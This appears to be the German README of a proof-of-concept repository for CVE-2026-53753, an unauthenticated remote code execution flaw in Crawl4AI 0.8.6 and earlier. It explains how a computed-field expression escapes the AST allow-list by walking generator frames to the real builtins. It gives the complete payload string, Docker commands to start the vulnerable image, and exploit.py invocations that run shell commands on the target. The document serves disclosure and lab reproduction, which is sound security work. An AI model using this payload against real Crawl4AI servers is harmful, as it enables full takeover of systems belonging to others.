CVE-2026-53753 — Crawl4AI <0.8.7 nicht authentifizierte RCE (AST-Sandbox-Escape via gi_frame.f_back). Lab + PoC, e2e verifiziert.
Pre-Authentifizierungs-RCE in Crawl4AI
< 0.8.7. Ein manipulativesJsonCssExtractionStrategy-Schema, das an den nicht authentifiziertenPOST /crawlEndpunkt gesendet wird, erreicht den Auswerter für berechnete Felder (_safe_eval_expression), umgeht dessen AST-Allow-List über Python-Frame-Objekte, erreicht die echtenbuiltinsund führt__import__('os').popen(<cmd>).read()aus – die Ausgabe des Befehls wird im gleichen Zug in der JSON-Antwort zurückgegeben.
| CVE | CVE-2026-53753 |
| Advisory | GHSA-qxjp-w3pj-48m7 |
| Betroffen | Crawl4AI <= 0.8.6 |
| Behoben | 0.8.7 |
| Klasse | CWE-94 (Code Injection) / Python-Sandbox-Escape |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth | Keine — ausgelieferte Konfiguration hat jwt_enabled: false |
| Status | BESTÄTIGT — End-to-End gegen das offizielle unclecode/crawl4ai:0.8.6-Image reproduziert |
Tiefergehende Analyse: siehe
ANALYSIS.mdfür einen Knoten-für-Knoten-AST-Durchlauf, den Laufzeit-Frame-Stack, den Anfragedatenfluss und den Patch-Diff.
crawl4ai/extraction_strategy.py lässt ein Extraktionsschema berechnete
Felder definieren – kleine Python-Ausdrücke, die pro extrahiertem Element ausgewertet werden.
Sie werden von _safe_eval_expression() ausgeführt, das versucht, den Ausdruck mit einer
AST-Allow-List und reduzierten __builtins__ zu sandboxen:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
Der Validator ist Verweigerung-nach-Präfix: Er lehnt nur Namen ab, die mit _ beginnen
(zusätzlich zu import). Diese einzelne Heuristik bildet die gesamte Sandbox – und sie hat drei
Lücken, die sich zu einem vollständigen Escape kombinieren:
| # | Lücke | Warum es wichtig ist |
|---|---|---|
| 1 | gi_frame, f_back, f_builtins beginnen nicht mit _ | Die gesamte Python-Frame/Generator-Introspektionsoberfläche ist erreichbar. |
| 2 | obj['__import__'] ist ein ast.Subscript, kein ast.Attribute | Der Validator prüft keine Dict-Subscript-Schlüssel, daher passiert der Dunder-Schlüssel __import__. |
| 3 | Die f_back-Kette eines laufenden Generators führt zu einem äußeren Frame, dessen f_builtins die echten builtins sind | Umgeht die reduzierten _SAFE_EVAL_BUILTINS zurück zu den vollständigen (__import__ etc.). |
Das Schema erreicht diese Funktion ohne Authentifizierung: Die Docker-API liefert
security.jwt_enabled: false aus, daher ist die /crawl-Token-Abhängigkeit lambda: None.
Der Ausdruck für das berechnete Feld ist:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
Teil für Teil gelesen:
| Fragment | Rolle | Warum der Validator es erlaubt |
|---|---|---|
(lambda: ... )() | Erstellt einen Funktionsbereich, sodass der Walrus-gebundene Name in einer Closure-Zelle lebt. | ast.Lambda wird nicht geprüft. |
g := ( <expr> for i in [1]) | Bindet den Generator an g und der Generatorrumpf referenziert g (sich selbst). | := und Generatorausdrücke werden nicht geprüft. (Walrus ist in einem Comprehension-Iterable illegal, daher wird er stattdessen in ein Tupel-Element platziert.) |
list(g) | Treibt den Generator an – sodass sein Frame live ist, wenn der Rumpf ausgeführt wird. | list ist in den sicheren builtins. |
g.gi_frame | Das Frame-Objekt des Generators. | gi_frame beginnt nicht mit _. |
.f_back.f_back.f_back | Geht drei Frames hoch zu einem mit den echten builtins. | f_back beginnt nicht mit _. |
.f_builtins | Die builtins-Zuordnung dieses Frames (die echte). | f_builtins beginnt nicht mit _. |
['__import__'] | Holt __import__ aus dem builtins-Dict. | Dict-Subscript – wird nie überprüft. |
('os') | __import__('os') → das os-Modul. | Das Aufrufziel ist ein Subscript, kein Name/Attribute. |
.popen('id').read() | Führt den Befehl aus und gibt dessen stdout zurück. | popen/read beginnen nicht mit _. |
Da der Wert des Generators os.popen(cmd).read() ist, wird die stdout des Befehls zum Feldwert und in der /crawl-Antwort zurückgespiegelt – ein In-Band-Orakel, kein OAST erforderlich.
Während list(g) den Generator durchläuft, sieht der Call-Stack so aus:
frame: _safe_eval_expression() <-- echte builtins (__import__ lebt hier) ← f_back ×3
└ frame: <expression> (eval) <-- gesandboxte builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- gesandboxt ← f_back ×1
└ frame: <genexpr> g <-- LAUFEND; g.gi_frame ist dieses Frame ← gi_frame
g.gi_frame.f_back ist nur gefüllt, während der Generator läuft (deshalb muss der Generator sich selbst referenzieren und von list(g) angetrieben werden – ein noch nicht gestarteter Generator hat f_back is None). Das dreimalige Durchlaufen von f_back landet auf dem _safe_eval_expression-Frame, dessen f_builtins das vollständige builtins-Modul ist – aus dem __import__ per Subscript gezogen wird.
Die Frametiefe ist für diesen Codepfad stabil:
f_back × 3ist korrekt für Crawl4AI 0.8.6's_safe_eval_expression.
Das offizielle Image liefert die angreifbare Standardkonfiguration (keine Authentifizierung) aus:
# Option A — docker compose (normaler Docker-Host mit Bridge-Netzwerk)
docker compose -f lab/docker-compose.yml up -d
# Option B — einfacher docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
Warten Sie ~20 s, bis der Browser-Pool warm ist (docker logs crawl4ai-vuln →
Application startup complete).
# Den Anfragekörper inspizieren, ohne ihn zu senden:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# Ausführen (die stdout des Befehls kommt in der Antwort zurück):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"